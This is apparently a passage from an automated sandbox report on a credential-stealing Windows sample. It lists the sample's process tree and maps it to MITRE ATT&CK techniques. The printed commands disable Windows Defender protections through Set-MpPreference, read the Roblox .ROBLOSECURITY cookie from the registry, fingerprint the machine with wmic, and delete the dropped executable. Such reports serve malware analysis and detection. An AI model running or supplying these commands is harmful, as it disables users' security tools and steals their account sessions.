- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6072
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5696
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4392
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5276
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2864
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ldld.exe" && pause
    3⤵
    PID:5184
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:5604

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.0.1278140845\1218399133" -parentBuildID 20230214051806 -prefsHandle 1740 -prefMapHandle 1732 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a77af659-824e-4e80-a1bd-519393fe0950} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 1840 28562c0be58 gpu
    3⤵
    PID:3556
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.1.1296331901\1002623602" -parentBuildID 20230214051806 -prefsHandle 2428 -prefMapHandle 2416 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {634e83c5-9e65-41f5-8fdc-22d951de14ea} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 2456 28555e85658 socket
    3⤵
    PID:1380
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.2.1923101871\146588282" -childID 1 -isForBrowser -prefsHandle 3164 -prefMapHandle 3160 -prefsLen 22150 -prefMapSize 235121 -jsInitHandle 896 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {675cf94c-3edb-4330-b325-85e1e44401ba} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 3176 28561b90358 tab
    3⤵
    PID:1296
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.3.234200603\422591941" -childID 2 -isForBrowser -prefsHandle 3556 -prefMapHandle 3552 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 896 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6167348f-ad46-4bfc-971b-a2be72548f21} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 3484 28567676e58 tab
    3⤵
    PID:4576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.4.140835392\1705947291" -childID 3 -isForBrowser -prefsHandle 5068 -prefMapHandle 5064 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 896 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {68f6c326-69e5-470c-b78e-e28b72d1910b} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 5076 28568fc7358 tab
    3⤵
    PID:5704
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.5.1746687221\1747408989" -childID 4 -isForBrowser -prefsHandle 5216 -prefMapHandle 5220 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 896 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa1346f3-695b-488b-954a-cc81120ff02e} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 5204 28569697758 tab
    3⤵
    PID:5720
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1316.6.2020912841\812388391" -childID 5 -isForBrowser -prefsHandle 5424 -prefMapHandle 5428 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 896 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {370b495e-242e-4a44-b17f-d804208aaa8b} 1316 "\\.\pipe\gecko-crash-server-pipe.1316" 5416 28569696558 tab
    3⤵
    PID:5728

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1520

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1920

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:5320

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
- Loads dropped DLL
PID:1272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery